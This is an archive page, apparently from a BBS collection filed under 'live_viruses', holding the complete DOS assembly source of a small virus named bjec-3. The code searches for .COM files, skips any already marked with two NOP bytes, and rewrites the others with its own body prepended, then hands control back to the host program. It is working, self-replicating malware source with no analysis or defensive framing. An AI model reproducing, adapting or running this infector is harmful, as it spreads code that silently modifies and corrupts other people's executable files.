home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / bjec-3.asm < prev    next >
Assembly Source File  |  1990-11-16  |  2KB  |  127 lines

  1. .model    tiny
  2. .code
  3. org     100h
  4. kkk:
  5.     nop    ; ID
  6.     nop    ; ID
  7.  
  8.     mov    cx,80h
  9.     mov    si,0080h
  10.     mov    di,0ff7fh
  11.     rep    movsb        ; save param
  12.  
  13.     lea    ax,begp        ; begin prog
  14.     mov    cx,ax
  15.         sub     ax,100h
  16.         mov     ds:[0fah],ax   ; len VIR
  17.     add    cx,fso
  18.         mov     ds:[0f8h],cx   ; begin buffer W
  19.         ADD     CX,AX
  20.         mov     ds:[0f6h],cx   ; begin buffer R
  21.  
  22.         mov     cx,ax
  23.     lea    si,kkk
  24.         mov     di,ds:[0f8h]
  25. RB:     REP     MOVSB           ; move v
  26.  
  27.         stc
  28.  
  29.         LEA     DX,FFF
  30.         MOV     AH,4EH
  31.         MOV     CX,20H
  32.         INT     21H        ;  find first
  33.  
  34.     or    ax,ax
  35.     jz    LLL
  36.     jmp    done
  37.  
  38. LLL:
  39.     MOV     AH,2FH
  40.         INT     21H        ; get DTA
  41.  
  42.     mov    ax,es:[bx+1ah]
  43.         mov     ds:[0fch],ax   ; size
  44.     add    bx,1eh
  45.         mov     ds:[0feh],bx   ; point to name
  46.  
  47.     clc
  48.     mov    ax,3d02h
  49.     mov    dx,bx
  50.     int    21h        ; open file
  51.  
  52.     mov    bx,ax
  53.     mov    ah,3fh
  54.         mov     cx,ds:[0fch]
  55.         mov     dx,ds:[0f6h]
  56.     int    21h        ; read file
  57.  
  58.     mov    bx,dx
  59.     mov    ax,[bx]
  60.     sub    ax,9090h
  61.     jz    fin
  62.  
  63.  
  64.         MOV     AX,ds:[0fch]
  65.         mov     bx,ds:[0f6h]
  66.         mov     [bx-2],ax      ; correct old len
  67.  
  68.     mov    ah,3ch
  69.     mov    cx,00h
  70.         mov     dx,ds:[0feh]   ; point to name
  71.     clc
  72.     int    21h        ; create file
  73.  
  74.     mov    bx,ax        ; #
  75.     mov    ah,40h
  76.         mov     cx,ds:[0fch]
  77.         add     cx,ds:[0fah]
  78.         mov     DX,ds:[0f8h]
  79.     int    21h        ; write file
  80.  
  81.  
  82.     mov    ah,3eh
  83.     int    21h        ;close file
  84.  
  85. FIN:
  86.     stc
  87.     mov    ah,4fh
  88.     int    21h        ; find next
  89.  
  90.     or    ax,ax
  91.     jnz    done
  92.  
  93.         JMP     lll
  94.  
  95. DONE:
  96.  
  97.     mov    cx,80h
  98.     mov    si,0ff7fh
  99.     mov    di,0080h
  100.     rep    movsb        ; restore param
  101.  
  102.         MOV     AX,0A4F3H
  103.         mov     ds:[0fff9h],ax
  104.     mov    al,0eah
  105.     mov    ds:[0fffbh],al
  106.     mov    ax,100h
  107.     mov    ds:[0fffch],ax
  108.     lea    si,begp
  109.     lea    di,kkk
  110.     mov    ax,cs
  111.     mov    ds:[0fffeh],ax
  112.     mov    kk,ax
  113.     mov    cx,fso
  114.  
  115.     db    0eah
  116.         dw      0fff9h
  117. kk    dw    0000h
  118.  
  119. fff    db    '*?.com',0
  120. fso    dw    0005h    ; ----- alma mater
  121.  
  122.  
  123. begp:
  124.     MOV     AX,4C00H
  125.     int     21h        ; exit
  126.  
  127. end    kkk